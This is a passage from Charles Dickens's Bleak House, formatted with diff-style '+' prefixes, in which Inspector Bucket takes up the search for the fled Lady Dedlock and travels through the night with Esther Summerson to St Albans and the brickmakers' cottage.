+the necessity he feels for haste and the inability under which he
+labours of expressing to do what or to fetch whom. He has written the
+letter B, and there stopped. Of a sudden, in the height of his
+misery, he puts Mr. before it. The old housekeeper suggests Bucket.
+Thank heaven! That's his meaning.
+
+Mr. Bucket is found to be downstairs, by appointment. Shall he come
+up?
+
+There is no possibility of misconstruing Sir Leicester's burning wish
+to see him or the desire he signifies to have the room cleared of
+every one but the housekeeper. It is speedily done, and Mr. Bucket
+appears. Of all men upon earth, Sir Leicester seems fallen from his
+high estate to place his sole trust and reliance upon this man.
+
+"Sir Leicester Dedlock, Baronet, I'm sorry to see you like this. I
+hope you'll cheer up. I'm sure you will, on account of the family
+credit."
+
+Sir Leicester puts her letter in his hands and looks intently in his
+face while he reads it. A new intelligence comes into Mr. Bucket's
+eye as he reads on; with one hook of his finger, while that eye is
+still glancing over the words, he indicates, "Sir Leicester Dedlock,
+Baronet, I understand you."
+
+Sir Leicester writes upon the slate. "Full forgiveness. Find--" Mr.
+Bucket stops his hand.
+
+"Sir Leicester Dedlock, Baronet, I'll find her. But my search after
+her must be begun out of hand. Not a minute must be lost."
+
+With the quickness of thought, he follows Sir Leicester Dedlock's
+look towards a little box upon a table.
+
+"Bring it here, Sir Leicester Dedlock, Baronet? Certainly. Open it
+with one of these here keys? Certainly. The littlest key? TO be sure.
+Take the notes out? So I will. Count 'em? That's soon done. Twenty
+and thirty's fifty, and twenty's seventy, and fifty's one twenty, and
+forty's one sixty. Take 'em for expenses? That I'll do, and render an
+account of course. Don't spare money? No I won't."
+
+The velocity and certainty of Mr. Bucket's interpretation on all
+these heads is little short of miraculous. Mrs. Rouncewell, who holds
+the light, is giddy with the swiftness of his eyes and hands as he
+starts up, furnished for his journey.
+
+"You're George's mother, old lady; that's about what you are, I
+believe?" says Mr. Bucket aside, with his hat already on and
+buttoning his coat.
+
+"Yes, sir, I am his distressed mother."
+
+"So I thought, according to what he mentioned to me just now. Well,
+then, I'll tell you something. You needn't be distressed no more.
+Your son's all right. Now, don't you begin a-crying, because what
+you've got to do is to take care of Sir Leicester Dedlock, Baronet,
+and you won't do that by crying. As to your son, he's all right, I
+tell you; and he sends his loving duty, and hoping you're the same.
+He's discharged honourable; that's about what HE is; with no more
+imputation on his character than there is on yours, and yours is a
+tidy one, I'LL bet a pound. You may trust me, for I took your son. He
+conducted himself in a game way, too, on that occasion; and he's a
+fine-made man, and you're a fine-made old lady, and you're a mother
+and son, the pair of you, as might be showed for models in a caravan.
+Sir Leicester Dedlock, Baronet, what you've trusted to me I'll go
+through with. Don't you be afraid of my turning out of my way, right
+or left, or taking a sleep, or a wash, or a shave till I have found
+what I go in search of. Say everything as is kind and forgiving on
+your part? Sir Leicester Dedlock, Baronet, I will. And I wish you
+better, and these family affairs smoothed over--as, Lord, many other
+family affairs equally has been, and equally will be, to the end of
+time."
+
+With this peroration, Mr. Bucket, buttoned up, goes quietly out,
+looking steadily before him as if he were already piercing the night
+in quest of the fugitive.
+
+His first step is to take himself to Lady Dedlock's rooms and look
+all over them for any trifling indication that may help him. The
+rooms are in darkness now; and to see Mr. Bucket with a wax-light in
+his hand, holding it above his head and taking a sharp mental
+inventory of the many delicate objects so curiously at variance with
+himself, would be to see a sight--which nobody DOES see, as he is
+particular to lock himself in.
+
+"A spicy boudoir, this," says Mr. Bucket, who feels in a manner
+furbished up in his French by the blow of the morning. "Must have
+cost a sight of money. Rum articles to cut away from, these; she must
+have been hard put to it!"
+
+Opening and shutting table-drawers and looking into caskets and
+jewel-cases, he sees the reflection of himself in various mirrors,
+and moralizes thereon.
+
+"One might suppose I was a-moving in the fashionable circles and
+getting myself up for almac's," says Mr. Bucket. "I begin to think I
+must be a swell in the Guards without knowing it."
+
+Ever looking about, he has opened a dainty little chest in an inner
+drawer. His great hand, turning over some gloves which it can
+scarcely feel, they are so light and soft within it, comes upon a
+white handkerchief.
+
+"Hum! Let's have a look at YOU," says Mr. Bucket, putting down the
+light. "What should YOU be kept by yourself for? What's YOUR motive?
+Are you her ladyship's property, or somebody else's? You've got a
+mark upon you somewheres or another, I suppose?"
+
+He finds it as he speaks, "Esther Summerson."
+
+"Oh!" says Mr. Bucket, pausing, with his finger at his ear. "Come,
+I'll take YOU."
+
+He completes his observations as quietly and carefully as he has
+carried them on, leaves everything else precisely as he found it,
+glides away after some five minutes in all, and passes into the
+street. With a glance upward at the dimly lighted windows of Sir
+Leicester's room, he sets off, full-swing, to the nearest
+coach-stand, picks out the horse for his money, and directs to be
+driven to the shooting gallery. Mr. Bucket does not claim to be a
+scientific judge of horses, but he lays out a little money on the
+principal events in that line, and generally sums up his knowledge of
+the subject in the remark that when he sees a horse as can go, he
+knows him.
+
+His knowledge is not at fault in the present instance. Clattering
+over the stones at a dangerous pace, yet thoughtfully bringing his
+keen eyes to bear on every slinking creature whom he passes in the
+midnight streets, and even on the lights in upper windows where
+people are going or gone to bed, and on all the turnings that he
+rattles by, and alike on the heavy sky, and on the earth where the
+snow lies thin--for something may present itself to assist him,
+anywhere--he dashes to his destination at such a speed that when he
+stops the horse half smothers him in a cloud of steam.
+
+"Unbear him half a moment to freshen him up, and I'll be back."
+
+He runs up the long wooden entry and finds the trooper smoking his
+pipe.
+
+"I thought I should, George, after what you have gone through, my
+lad. I haven't a word to spare. Now, honour! All to save a woman.
+Miss Summerson that was here when Gridley died--that was the name, I
+know--all right--where does she live?"
+
+The trooper has just come from there and gives him the address, near
+Oxford Street.
+
+"You won't repent it, George. Good night!"
+
+He is off again, with an impression of having seen Phil sitting by
+the frosty fire staring at him open-mouthed, and gallops away again,
+and gets out in a cloud of steam again.
+
+Mr. Jarndyce, the only person up in the house, is just going to bed,
+rises from his book on hearing the rapid ringing at the bell, and
+comes down to the door in his dressing-gown.
+
+"Don't be alarmed, sir." In a moment his visitor is confidential with
+him in the hall, has shut the door, and stands with his hand upon the
+lock. "I've had the pleasure of seeing you before. Inspector Bucket.
+Look at that handkerchief, sir, Miss Esther Summerson's. Found it
+myself put away in a drawer of Lady Dedlock's, quarter of an hour
+ago. Not a moment to lose. Matter of life or death. You know Lady
+Dedlock?"
+
+"Yes."
+
+"There has been a discovery there to-day. Family affairs have come
+out. Sir Leicester Dedlock, Baronet, has had a fit--apoplexy or
+paralysis--and couldn't be brought to, and precious time has been
+lost. Lady Dedlock disappeared this afternoon and left a letter for
+him that looks bad. Run your eye over it. Here it is!"
+
+Mr. Jarndyce, having read it, asks him what he thinks.
+
+"I don't know. It looks like suicide. Anyways, there's more and more
+danger, every minute, of its drawing to that. I'd give a hundred
+pound an hour to have got the start of the present time. Now, Mr.
+Jarndyce, I am employed by Sir Leicester Dedlock, Baronet, to follow
+her and find her, to save her and take her his forgiveness. I have
+money and full power, but I want something else. I want Miss
+Summerson."
+
+Mr. Jarndyce in a troubled voice repeats, "Miss Summerson?"
+
+"Now, Mr. Jarndyce"--Mr. Bucket has read his face with the greatest
+attention all along--"I speak to you as a gentleman of a humane
+heart, and under such pressing circumstances as don't often happen.
+If ever delay was dangerous, it's dangerous now; and if ever you
+couldn't afterwards forgive yourself for causing it, this is the
+time. Eight or ten hours, worth, as I tell you, a hundred pound
+apiece at least, have been lost since Lady Dedlock disappeared. I am
+charged to find her. I am Inspector Bucket. Besides all the rest
+that's heavy on her, she has upon her, as she believes, suspicion of
+murder. If I follow her alone, she, being in ignorance of what Sir
+Leicester Dedlock, Baronet, has communicated to me, may be driven to
+desperation. But if I follow her in company with a young lady,
+answering to the description of a young lady that she has a
+tenderness for--I ask no question, and I say no more than that--she
+will give me credit for being friendly. Let me come up with her and
+be able to have the hold upon her of putting that young lady for'ard,
+and I'll save her and prevail with her if she is alive. Let me come
+up with her alone--a hard matter--and I'll do my best, but I don't
+answer for what the best may be. Time flies; it's getting on for one
+o'clock. When one strikes, there's another hour gone, and it's worth
+a thousand pound now instead of a hundred."
+
+This is all true, and the pressing nature of the case cannot be
+questioned. Mr. Jarndyce begs him to remain there while he speaks to
+Miss Summerson. Mr. Bucket says he will, but acting on his usual
+principle, does no such thing, following upstairs instead and keeping
+his man in sight. So he remains, dodging and lurking about in the
+gloom of the staircase while they confer. In a very little time Mr.
+Jarndyce comes down and tells him that Miss Summerson will join him
+directly and place herself under his protection to accompany him
+where he pleases. Mr. Bucket, satisfied, expresses high approval and
+awaits her coming at the door.
+
+There he mounts a high tower in his mind and looks out far and wide.
+Many solitary figures he perceives creeping through the streets; many
+solitary figures out on heaths, and roads, and lying under haystacks.
+But the figure that he seeks is not among them. Other solitaries he
+perceives, in nooks of bridges, looking over; and in shadowed places
+down by the river's level; and a dark, dark, shapeless object
+drifting with the tide, more solitary than all, clings with a
+drowning hold on his attention.
+
+Where is she? Living or dead, where is she? If, as he folds the
+handkerchief and carefully puts it up, it were able with an enchanted
+power to bring before him the place where she found it and the
+night-landscape near the cottage where it covered the little child,
+would he descry her there? On the waste where the brick-kilns are
+burning with a pale blue flare, where the straw-roofs of the wretched
+huts in which the bricks are made are being scattered by the wind,
+where the clay and water are hard frozen and the mill in which the
+gaunt blind horse goes round all day looks like an instrument of
+human torture--traversing this deserted, blighted spot there is a
+lonely figure with the sad world to itself, pelted by the snow and
+driven by the wind, and cast out, it would seem, from all
+companionship. It is the figure of a woman, too; but it is miserably
+dressed, and no such clothes ever came through the hall and out at
+the great door of the Dedlock mansion.
+
+
+
+
+CHAPTER LVII
+
+Esther's Narrative
+
+
+I had gone to bed and fallen asleep when my guardian knocked at the
+door of my room and begged me to get up directly. On my hurrying to
+speak to him and learn what had happened, he told me, after a word or
+two of preparation, that there had been a discovery at Sir Leicester
+Dedlock's. That my mother had fled, that a person was now at our door
+who was empowered to convey to her the fullest assurances of
+affectionate protection and forgiveness if he could possibly find
+her, and that I was sought for to accompany him in the hope that my
+entreaties might prevail upon her if his failed. Something to this
+general purpose I made out, but I was thrown into such a tumult of
+alarm, and hurry and distress, that in spite of every effort I could
+make to subdue my agitation, I did not seem, to myself, fully to
+recover my right mind until hours had passed.
+
+But I dressed and wrapped up expeditiously without waking Charley or
+any one and went down to Mr. Bucket, who was the person entrusted
+with the secret. In taking me to him my guardian told me this, and
+also explained how it was that he had come to think of me. Mr.
+Bucket, in a low voice, by the light of my guardian's candle, read to
+me in the hall a letter that my mother had left upon her table; and I
+suppose within ten minutes of my having been aroused I was sitting
+beside him, rolling swiftly through the streets.
+
+His manner was very keen, and yet considerate when he explained to me
+that a great deal might depend on my being able to answer, without
+confusion, a few questions that he wished to ask me. These were,
+chiefly, whether I had had much communication with my mother (to whom
+he only referred as Lady Dedlock), when and where I had spoken with
+her last, and how she had become possessed of my handkerchief. When I
+had satisfied him on these points, he asked me particularly to
+consider--taking time to think--whether within my knowledge there was
+any one, no matter where, in whom she might be at all likely to
+confide under circumstances of the last necessity. I could think of
+no one but my guardian. But by and by I mentioned Mr. Boythorn. He
+came into my mind as connected with his old chivalrous manner of
+mentioning my mother's name and with what my guardian had informed me
+of his engagement to her sister and his unconscious connexion with
+her unhappy story.
+
+My companion had stopped the driver while we held this conversation,
+that we might the better hear each other. He now told him to go on
+again and said to me, after considering within himself for a few
+moments, that he had made up his mind how to proceed. He was quite
+willing to tell me what his plan was, but I did not feel clear enough
+to understand it.
+
+We had not driven very far from our lodgings when we stopped in a
+by-street at a public-looking place lighted up with gas. Mr. Bucket
+took me in and sat me in an arm-chair by a bright fire. It was now
+past one, as I saw by the clock against the wall. Two police
+officers, looking in their perfectly neat uniform not at all like
+people who were up all night, were quietly writing at a desk; and the
+place seemed very quiet altogether, except for some beating and
+calling out at distant doors underground, to which nobody paid any
+attention.
+
+A third man in uniform, whom Mr. Bucket called and to whom he
+whispered his instructions, went out; and then the two others advised
+together while one wrote from Mr. Bucket's subdued dictation. It was
+a description of my mother that they were busy with, for Mr. Bucket
+brought it to me when it was done and read it in a whisper. It was
+very accurate indeed.
+
+The second officer, who had attended to it closely, then copied it
+out and called in another man in uniform (there were several in an
+outer room), who took it up and went away with it. All this was done
+with the greatest dispatch and without the waste of a moment; yet
+nobody was at all hurried. As soon as the paper was sent out upon its
+travels, the two officers resumed their former quiet work of writing
+with neatness and care. Mr. Bucket thoughtfully came and warmed the
+soles of his boots, first one and then the other, at the fire.
+
+"Are you well wrapped up, Miss Summerson?" he asked me as his eyes
+met mine. "It's a desperate sharp night for a young lady to be out
+in."
+
+I told him I cared for no weather and was warmly clothed.
+
+"It may be a long job," he observed; "but so that it ends well, never
+mind, miss."
+
+"I pray to heaven it may end well!" said I.
+
+He nodded comfortingly. "You see, whatever you do, don't you go and
+fret yourself. You keep yourself cool and equal for anything that may
+happen, and it'll be the better for you, the better for me, the
+better for Lady Dedlock, and the better for Sir Leicester Dedlock,
+Baronet."
+
+He was really very kind and gentle, and as he stood before the fire
+warming his boots and rubbing his face with his forefinger, I felt a
+confidence in his sagacity which reassured me. It was not yet a
+quarter to two when I heard horses' feet and wheels outside. "Now,
+Miss Summerson," said he, "we are off, if you please!"
+
+He gave me his arm, and the two officers courteously bowed me out,
+and we found at the door a phaeton or barouche with a postilion and
+post horses. Mr. Bucket handed me in and took his own seat on the
+box. The man in uniform whom he had sent to fetch this equipage then
+handed him up a dark lantern at his request, and when he had given a
+few directions to the driver, we rattled away.
+
+I was far from sure that I was not in a dream. We rattled with great
+rapidity through such a labyrinth of streets that I soon lost all
+idea where we were, except that we had crossed and re-crossed the
+river, and still seemed to be traversing a low-lying, waterside,
+dense neighbourhood of narrow thoroughfares chequered by docks and
+basins, high piles of warehouses, swing-bridges, and masts of ships.
+At length we stopped at the corner of a little slimy turning, which
+the wind from the river, rushing up it, did not purify; and I saw my
+companion, by the light of his lantern, in conference with several
+men who looked like a mixture of police and sailors. Against the
+mouldering wall by which they stood, there was a bill, on which I
+could discern the words, "Found Drowned"; and this and an inscription
+about drags possessed me with the awful suspicion shadowed forth in
+our visit to that place.
+
+I had no need to remind myself that I was not there by the indulgence
+of any feeling of mine to increase the difficulties of the search, or
+to lessen its hopes, or enhance its delays. I remained quiet, but
+what I suffered in that dreadful spot I never can forget. And still
+it was like the horror of a dream. A man yet dark and muddy, in long
+swollen sodden boots and a hat like them, was called out of a boat
+and whispered with Mr. Bucket, who went away with him down some
+slippery steps--as if to look at something secret that he had to
+show. They came back, wiping their hands upon their coats, after
+turning over something wet; but thank God it was not what I feared!
+
+After some further conference, Mr. Bucket (whom everybody seemed to
+know and defer to) went in with the others at a door and left me in
+the carriage, while the driver walked up and down by his horses to
+warm himself. The tide was coming in, as I judged from the sound it
+made, and I could hear it break at the end of the alley with a little
+rush towards me. It never did so--and I thought it did so, hundreds
+of times, in what can have been at the most a quarter of an hour, and
+probably was less--but the thought shuddered through me that it would
+cast my mother at the horses' feet.
+
+Mr. Bucket came out again, exhorting the others to be vigilant,
+darkened his lantern, and once more took his seat. "Don't you be
+alarmed, Miss Summerson, on account of our coming down here," he
+said, turning to me. "I only want to have everything in train and to
+know that it is in train by looking after it myself. Get on, my lad!"
+
+We appeared to retrace the way we had come. Not that I had taken note
+of any particular objects in my perturbed state of mind, but judging
+from the general character of the streets. We called at another
+office or station for a minute and crossed the river again. During
+the whole of this time, and during the whole search, my companion,
+wrapped up on the box, never relaxed in his vigilance a single
+moment; but when we crossed the bridge he seemed, if possible, to be
+more on the alert than before. He stood up to look over the parapet,
+he alighted and went back after a shadowy female figure that flitted
+past us, and he gazed into the profound black pit of water with a
+face that made my heart die within me. The river had a fearful look,
+so overcast and secret, creeping away so fast between the low flat
+lines of shore--so heavy with indistinct and awful shapes, both of
+substance and shadow; so death-like and mysterious. I have seen it
+many times since then, by sunlight and by moonlight, but never free
+from the impressions of that journey. In my memory the lights upon
+the bridge are always burning dim, the cutting wind is eddying round
+the homeless woman whom we pass, the monotonous wheels are whirling
+on, and the light of the carriage-lamps reflected back looks palely
+in upon me--a face rising out of the dreaded water.
+
+Clattering and clattering through the empty streets, we came at
+length from the pavement on to dark smooth roads and began to leave
+the houses behind us. After a while I recognized the familiar way to
+Saint Albans. At Barnet fresh horses were ready for us, and we
+changed and went on. It was very cold indeed, and the open country
+was white with snow, though none was falling then.
+
+"An old acquaintance of yours, this road, Miss Summerson," said Mr.
+Bucket cheerfully.
+
+"Yes," I returned. "Have you gathered any intelligence?"
+
+"None that can be quite depended on as yet," he answered, "but it's
+early times as yet."
+
+He had gone into every late or early public-house where there
+was a light (they were not a few at that time, the road being
+then much frequented by drovers) and had got down to talk to the
+turnpike-keepers. I had heard him ordering drink, and chinking money,
+and making himself agreeable and merry everywhere; but whenever he
+took his seat upon the box again, his face resumed its watchful
+steady look, and he always said to the driver in the same business
+tone, "Get on, my lad!"
+
+With all these stoppages, it was between five and six o'clock and we
+were yet a few miles short of Saint Albans when he came out of one of
+these houses and handed me in a cup of tea.
+
+"Drink it, Miss Summerson, it'll do you good. You're beginning to get
+more yourself now, ain't you?"
+
+I thanked him and said I hoped so.
+
+"You was what you may call stunned at first," he returned; "and Lord,
+no wonder! Don't speak loud, my dear. It's all right. She's on
+ahead."
+
+I don't know what joyful exclamation I made or was going to make, but
+he put up his finger and I stopped myself.
+
+"Passed through here on foot this evening about eight or nine. I
+heard of her first at the archway toll, over at Highgate, but
+couldn't make quite sure. Traced her all along, on and off. Picked
+her up at one place, and dropped her at another; but she's before us
+now, safe. Take hold of this cup and saucer, ostler. Now, if you
+wasn't brought up to the butter trade, look out and see if you can
+catch half a crown in your t'other hand. One, two, three, and there
+you are! Now, my lad, try a gallop!"
+
+We were soon in Saint Albans and alighted a little before day, when I
+was just beginning to arrange and comprehend the occurrences of the
+night and really to believe that they were not a dream. Leaving the
+carriage at the posting-house and ordering fresh horses to be ready,
+my companion gave me his arm, and we went towards home.
+
+"As this is your regular abode, Miss Summerson, you see," he
+observed, "I should like to know whether you've been asked for by any
+stranger answering the description, or whether Mr. Jarndyce has. I
+don't much expect it, but it might be."
+
+As we ascended the hill, he looked about him with a sharp eye--the
+day was now breaking--and reminded me that I had come down it one
+night, as I had reason for remembering, with my little servant and
+poor Jo, whom he called Toughey.
+
+I wondered how he knew that.
+
+"When you passed a man upon the road, just yonder, you know," said
+Mr. Bucket.
+
+Yes, I remembered that too, very well.
+
+"That was me," said Mr. Bucket.
+
+Seeing my surprise, he went on, "I drove down in a gig that afternoon
+to look after that boy. You might have heard my wheels when you came
+out to look after him yourself, for I was aware of you and your
+little maid going up when I was walking the horse down. Making an
+inquiry or two about him in the town, I soon heard what company he
+was in and was coming among the brick-fields to look for him when I
+observed you bringing him home here."
+
+"Had he committed any crime?" I asked.
+
+"None was charged against him," said Mr. Bucket, coolly lifting off
+his hat, "but I suppose he wasn't over-particular. No. What I wanted
+him for was in connexion with keeping this very matter of Lady
+Dedlock quiet. He had been making his tongue more free than welcome
+as to a small accidental service he had been paid for by the deceased
+Mr. Tulkinghorn; and it wouldn't do, at any sort of price, to have
+him playing those games. So having warned him out of London, I made
+an afternoon of it to warn him to keep out of it now he WAS away, and
+go farther from it, and maintain a bright look-out that I didn't
+catch him coming back again."
+
+"Poor creature!" said I.
+
+"Poor enough," assented Mr. Bucket, "and trouble enough, and well
+enough away from London, or anywhere else. I was regularly turned on
+my back when I found him taken up by your establishment, I do assure
+you."
+
+I asked him why. "Why, my dear?" said Mr. Bucket. "Naturally there
+was no end to his tongue then. He might as well have been born with a
+yard and a half of it, and a remnant over."
+
+Although I remember this conversation now, my head was in confusion
+at the time, and my power of attention hardly did more than enable me
+to understand that he entered into these particulars to divert me.
+With the same kind intention, manifestly, he often spoke to me of
+indifferent things, while his face was busy with the one object that
+we had in view. He still pursued this subject as we turned in at the
+garden-gate.
+
+"Ah!" said Mr. Bucket. "Here we are, and a nice retired place it is.
+Puts a man in mind of the country house in the Woodpecker-tapping,
+that was known by the smoke which so gracefully curled. They're early
+with the kitchen fire, and that denotes good servants. But what
+you've always got to be careful of with servants is who comes to see
+'em; you never know what they're up to if you don't know that. And
+another thing, my dear. Whenever you find a young man behind the
+kitchen-door, you give that young man in charge on suspicion of being
+secreted in a dwelling-house with an unlawful purpose."
+
+We were now in front of the house; he looked attentively and closely
+at the gravel for footprints before he raised his eyes to the
+windows.
+
+"Do you generally put that elderly young gentleman in the same room
+when he's on a visit here, Miss Summerson?" he inquired, glancing at
+Mr. Skimpole's usual chamber.
+
+"You know Mr. Skimpole!" said I.
+
+"What do you call him again?" returned Mr. Bucket, bending down his
+ear. "Skimpole, is it? I've often wondered what his name might be.
+Skimpole. Not John, I should say, nor yet Jacob?"
+
+"Harold," I told him.
+
+"Harold. Yes. He's a queer bird is Harold," said Mr. Bucket, eyeing
+me with great expression.
+
+"He is a singular character," said I.
+
+"No idea of money," observed Mr. Bucket. "He takes it, though!"
+
+I involuntarily returned for answer that I perceived Mr. Bucket knew
+him.
+
+"Why, now I'll tell you, Miss Summerson," he replied. "Your mind will
+be all the better for not running on one point too continually, and
+I'll tell you for a change. It was him as pointed out to me where
+Toughey was. I made up my mind that night to come to the door and ask
+for Toughey, if that was all; but willing to try a move or so first,
+if any such was on the board, I just pitched up a morsel of gravel at
+that window where I saw a shadow. As soon as Harold opens it and I
+have had a look at him, thinks I, you're the man for me. So I
+smoothed him down a bit about not wanting to disturb the family after
+they was gone to bed and about its being a thing to be regretted that
+charitable young ladies should harbour vagrants; and then, when I
+pretty well understood his ways, I said I should consider a fypunnote
+well bestowed if I could relieve the premises of Toughey without
+causing any noise or trouble. Then says he, lifting up his eyebrows
+in the gayest way, 'It's no use mentioning a fypunnote to me, my
+friend, because I'm a mere child in such matters and have no idea of
+money.' Of course I understood what his taking it so easy meant; and
+being now quite sure he was the man for me, I wrapped the note round
+a little stone and threw it up to him. Well! He laughs and beams, and
+looks as innocent as you like, and says, 'But I don't know the value
+of these things. What am I to DO with this?' 'Spend it, sir,' says I.
+'But I shall be taken in,' he says, 'they won't give me the right
+change, I shall lose it, it's no use to me.' Lord, you never saw such
+a face as he carried it with! Of course he told me where to find
+Toughey, and I found him."
+
+I regarded this as very treacherous on the part of Mr. Skimpole
+towards my guardian and as passing the usual bounds of his childish
+innocence.
+
+"Bounds, my dear?" returned Mr. Bucket. "Bounds? Now, Miss Summerson,
+I'll give you a piece of advice that your husband will find useful
+when you are happily married and have got a family about you.
+Whenever a person says to you that they are as innocent as can be in
+all concerning money, look well after your own money, for they are
+dead certain to collar it if they can. Whenever a person proclaims to
+you 'In worldly matters I'm a child,' you consider that that person
+is only a-crying off from being held accountable and that you have
+got that person's number, and it's Number One. Now, I am not a
+poetical man myself, except in a vocal way when it goes round a
+company, but I'm a practical one, and that's my experience. So's this
+rule. Fast and loose in one thing, fast and loose in everything. I
+never knew it fail. No more will you. Nor no one. With which caution
+to the unwary, my dear, I take the liberty of pulling this here bell,
+and so go back to our business."
+
+I believe it had not been for a moment out of his mind, any more than
+it had been out of my mind, or out of his face. The whole household
+were amazed to see me, without any notice, at that time in the
+morning, and so accompanied; and their surprise was not diminished by
+my inquiries. No one, however, had been there. It could not be
+doubted that this was the truth.
+
+"Then, Miss Summerson," said my companion, "we can't be too soon at
+the cottage where those brickmakers are to be found. Most inquiries
+there I leave to you, if you'll be so good as to make 'em. The
+naturalest way is the best way, and the naturalest way is your own
+way."
+
+We set off again immediately. On arriving at the cottage, we found it
+shut up and apparently deserted, but one of the neighbours who knew
+me and who came out when I was trying to make some one hear informed
+me that the two women and their husbands now lived together in
+another house, made of loose rough bricks, which stood on the margin
+of the piece of ground where the kilns were and where the long rows
+of bricks were drying. We lost no time in repairing to this place,
+which was within a few hundred yards; and as the door stood ajar, I
+pushed it open.
+
+There were only three of them sitting at breakfast, the child lying
+asleep on a bed in the corner. It was Jenny, the mother of the dead
+child, who was absent. The other woman rose on seeing me; and the
+men, though they were, as usual, sulky and silent, each gave me a
+morose nod of recognition. A look passed between them when Mr. Bucket
+followed me in, and I was surprised to see that the woman evidently
+knew him.
+
+I had asked leave to enter of course. Liz (the only name by which I
+knew her) rose to give me her own chair, but I sat down on a stool
+near the fire, and Mr. Bucket took a corner of the bedstead. Now that
+I had to speak and was among people with whom I was not familiar, I
+became conscious of being hurried and giddy. It was very difficult to
+begin, and I could not help bursting into tears.
+
+"Liz," said I, "I have come a long way in the night and through the
+snow to inquire after a lady--"
+
+"Who has been here, you know," Mr. Bucket struck in, addressing the
+whole group with a composed propitiatory face; "that's the lady the
+young lady means. The lady that was here last night, you know."
+
+"And who told YOU as there was anybody here?" inquired Jenny's
+husband, who had made a surly stop in his eating to listen and now
+measured him with his eye.
+
+"A person of the name of Michael Jackson, with a blue welveteen
+waistcoat with a double row of mother of pearl buttons," Mr. Bucket
+immediately answered.
+
+"He had as good mind his own business, whoever he is," growled the
+man.
+
+"He's out of employment, I believe," said Mr. Bucket apologetically
+for Michael Jackson, "and so gets talking."
+
+The woman had not resumed her chair, but stood faltering with her
+hand upon its broken back, looking at me. I thought she would have
+spoken to me privately if she had dared. She was still in this
+attitude of uncertainty when her husband, who was eating with a lump
+of bread and fat in one hand and his clasp-knife in the other, struck
+the handle of his knife violently on the table and told her with an
+oath to mind HER own business at any rate and sit down.
+
+"I should like to have seen Jenny very much," said I, "for I am sure
+she would have told me all she could about this lady, whom I am very
+anxious indeed--you cannot think how anxious--to overtake. Will Jenny
+be here soon? Where is she?"
+
+The woman had a great desire to answer, but the man, with another
+oath, openly kicked at her foot with his heavy boot. He left it to
+Jenny's husband to say what he chose, and after a dogged silence the
+latter turned his shaggy head towards me.
+
+"I'm not partial to gentlefolks coming into my place, as you've heerd
+me say afore now, I think, miss. I let their places be, and it's
+curious they can't let my place be. There'd be a pretty shine made if
+I was to go a-wisitin THEM, I think. Howsoever, I don't so much
+complain of you as of some others, and I'm agreeable to make you a
+civil answer, though I give notice that I'm not a-going to be drawed
+like a badger. Will Jenny be here soon? No she won't. Where is she?
+She's gone up to Lunnun."
+
+"Did she go last night?" I asked.
+
+"Did she go last night? Ah! She went last night," he answered with a
+sulky jerk of his head.
+
+"But was she here when the lady came? And what did the lady say to
+her? And where is the lady gone? I beg and pray you to be so kind as
+to tell me," said I, "for I am in great distress to know."
+
+"If my master would let me speak, and not say a word of harm--" the
+woman timidly began.
+
+"Your master," said her husband, muttering an imprecation with slow
+emphasis, "will break your neck if you meddle with wot don't concern
+you."
+
+After another silence, the husband of the absent woman, turning to me
+again, answered me with his usual grumbling unwillingness.
+
+"Wos Jenny here when the lady come? Yes, she wos here when the lady
+come. Wot did the lady say to her? Well, I'll tell you wot the lady
+said to her. She said, 'You remember me as come one time to talk to
+you about the young lady as had been a-wisiting of you? You remember
+me as give you somethink handsome for a handkercher wot she had
+left?' Ah, she remembered. So we all did. Well, then, wos that young
+lady up at the house now? No, she warn't up at the house now. Well,
+then, lookee here. The lady was upon a journey all alone, strange as
+we might think it, and could she rest herself where you're a setten
+for a hour or so. Yes she could, and so she did. Then she went--it
+might be at twenty minutes past eleven, and it might be at twenty
+minutes past twelve; we ain't got no watches here to know the time
+by, nor yet clocks. Where did she go? I don't know where she go'd.
+She went one way, and Jenny went another; one went right to Lunnun,
+and t'other went right from it. That's all about it. Ask this man. He
+heerd it all, and see it all. He knows."
+
+The other man repeated, "That's all about it."
+
+"Was the lady crying?" I inquired.
+
+"Devil a bit," returned the first man. "Her shoes was the worse, and
+her clothes was the worse, but she warn't--not as I see."
+
+The woman sat with her arms crossed and her eyes upon the ground. Her
+husband had turned his seat a little so as to face her and kept his
+hammer-like hand upon the table as if it were in readiness to execute
+his threat if she disobeyed him.
+
+"I hope you will not object to my asking your wife," said I, "how the
+lady looked."
+
+"Come, then!" he gruffly cried to her. "You hear what she says. Cut
+it short and tell her."
+
+"Bad," replied the woman. "Pale and exhausted. Very bad."
+
+"Did she speak much?"
+
+"Not much, but her voice was hoarse."
+
+She answered, looking all the while at her husband for leave.
+
+"Was she faint?" said I. "Did she eat or drink here?"
+
+"Go on!" said the husband in answer to her look. "Tell her and cut it
+short."
+
+"She had a little water, miss, and Jenny fetched her some bread and
+tea. But she hardly touched it."
+
+"And when she went from here," I was proceeding, when Jenny's husband
+impatiently took me up.
+
+"When she went from here, she went right away nor'ard by the high
+road. Ask on the road if you doubt me, and see if it warn't so. Now,
+there's the end. That's all about it."
+
+I glanced at my companion, and finding that he had already risen and
+was ready to depart, thanked them for what they had told me, and took
+my leave. The woman looked full at Mr. Bucket as he went out, and he
+looked full at her.
+
+"Now, Miss Summerson," he said to me as we walked quickly away.
+"They've got her ladyship's watch among 'em. That's a positive fact."
+
+"You saw it?" I exclaimed.
+
+"Just as good as saw it," he returned. "Else why should he talk about
+his 'twenty minutes past' and about his having no watch to tell the
+time by? Twenty minutes! He don't usually cut his time so fine as
+that. If he comes to half-hours, it's as much as HE does. Now, you
+see, either her ladyship gave him that watch or he took it. I think
+she gave it him. Now, what should she give it him for? What should
+she give it him for?"
+
+He repeated this question to himself several times as we hurried on,
+appearing to balance between a variety of answers that arose in his
+mind.
+
+"If time could be spared," said Mr. Bucket, "which is the only thing
+that can't be spared in this case, I might get it out of that woman;
+but it's too doubtful a chance to trust to under present
+circumstances. They are up to keeping a close eye upon her, and any
+fool knows that a poor creetur like her, beaten and kicked and
+scarred and bruised from head to foot, will stand by the husband that
+ill uses her through thick and thin. There's something kept back.
+It's a pity but what we had seen the other woman."
+
+I regretted it exceedingly, for she was very grateful, and I felt
+sure would have resisted no entreaty of mine.
+
+"It's possible, Miss Summerson," said Mr. Bucket, pondering on it,
+"that her ladyship sent her up to London with some word for you, and
+it's possible that her husband got the watch to let her go. It don't
+come out altogether so plain as to please me, but it's on the cards.
+Now, I don't take kindly to laying out the money of Sir Leicester
+Dedlock, Baronet, on these roughs, and I don't see my way to the
+usefulness of it at present. No! So far our road, Miss Summerson, is
+for'ard--straight ahead--and keeping everything quiet!"
+
+We called at home once more that I might send a hasty note to my
